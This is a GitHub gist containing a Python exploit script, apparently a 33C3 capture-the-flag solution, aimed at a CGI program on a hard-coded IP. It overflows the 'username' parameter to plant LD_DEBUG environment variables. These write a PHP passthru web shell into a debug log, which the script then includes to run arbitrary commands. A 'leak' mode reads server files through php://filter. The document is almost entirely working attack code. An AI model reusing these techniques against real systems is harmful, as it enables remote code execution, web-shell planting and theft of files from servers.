Skip to content

Instantly share code, notes, and snippets.

@niklasb
Last active November 18, 2017 15:19
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save niklasb/2d5f70072fcc8e79172a0ce6a31b9354 to your computer and use it in GitHub Desktop.
Save niklasb/2d5f70072fcc8e79172a0ce6a31b9354 to your computer and use it in GitHub Desktop.
from subprocess import Popen, PIPE
import base64
import random
import re
import requests
import select
import socket
import string
import struct
import sys
import urllib
value = 0x6012a0
host = '78.46.224.68'
port = 80
url = 'http://%s:%d' % (host, port)
def strcpys(s):
payloads = []
idx = 0
while s.find('\x00', idx) != -1:
i = s.find('\x00', idx)
payloads.append('A'*idx + s[idx:i])
idx = i+1
payloads.append('A'*idx + s[idx:])
return list(reversed(payloads))
def pack64(x):
return struct.pack("<Q", x)
def can_read(s, timeout=0):
x,_,_ = select.select([s], [], [], timeout)
return x != []
def make_qs():
cmd = '/bin/ps'
outfile = '/tmp/' + ''.join(random.choice(string.ascii_lowercase) for _ in range(10))
print "[*] Output file", outfile
nasty = 'A'*0x400
v1 = value + len(nasty)
nasty += 'LD_DEBUG=all\0'
null = value + len(nasty) - 1
v2 = value + len(nasty)
nasty += 'LD_DEBUG_OUTPUT=%s\0' % outfile
v3 = value + len(nasty)
nasty += 'LD_LIBRARY_PATH=<?=passthru($_GET[cmd])||exit()?>\0'
assert '&' not in nasty
assert len(cmd) < 0x10
uname = ''
uname += 'A'*(0x200-len(uname))
uname += cmd + '\0'
uname += 'B'*(0x220-len(uname))
# set *qs to zero, to terminate loop
uname += pack64(null)
uname += 'C'*248
# fix a crash in puts()/malloc()
uname += pack64(null)
uname += 'C'*(0x328-len(uname))
uname += pack64(v1)
uname += pack64(v2)
uname += pack64(v3)
uname += pack64(0)
qs = '&'.join('nasty=%s' % x for x in strcpys(nasty))
qs += '&nasty=no'
qs += '&username=%s' % urllib.quote(uname)
print "[*] Query string size =", len(qs)
return qs, outfile
def pwn(payload):
qs, outfile = make_qs()
req = (
"GET /cgi-bin/quote.cgi?{qs} HTTP/1.1\r\n"
"Host: {host}\r\n"
"Connection: close\r\n\r\n"
).format(url=url, host=host, qs=qs)
s = socket.create_connection((host, port))
s.sendall(req)
buf = ""
while can_read(s, timeout=2):
x = s.recv(1024)
if not x:
break
buf += x
pid = int(re.findall(r'(\d+).*ps\n', buf)[0])
print "[*] PID =", pid
r = requests.get(url + '/?action=%s.%d&cmd=%s' % (outfile, pid, urllib.quote(payload)))
return r.text
if sys.argv[1] == 'local':
with open("/tmp/qs", "w") as f:
f.write(qs)
elif sys.argv[1] == 'leak':
fname = sys.argv[2]
r = requests.get(url + '/?action=php://filter/convert.base64-encode/resource=%s' % fname)
sys.stdout.write(base64.b64decode(r.text.split('</ul>\n\n')[1]))
elif sys.argv[1] == 'pwn':
print pwn(sys.argv[2])
elif sys.argv[1] == 'test':
payload = 'echo -n __start__; /run_to_get_flag /flag; echo -n __end__'
res = pwn(payload)
flag = re.findall(r'__start__(.*?)__end__', res, re.DOTALL)[0].strip()
print "[*] Flag =", flag
assert '33C3_w00t' in flag
else:
assert 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment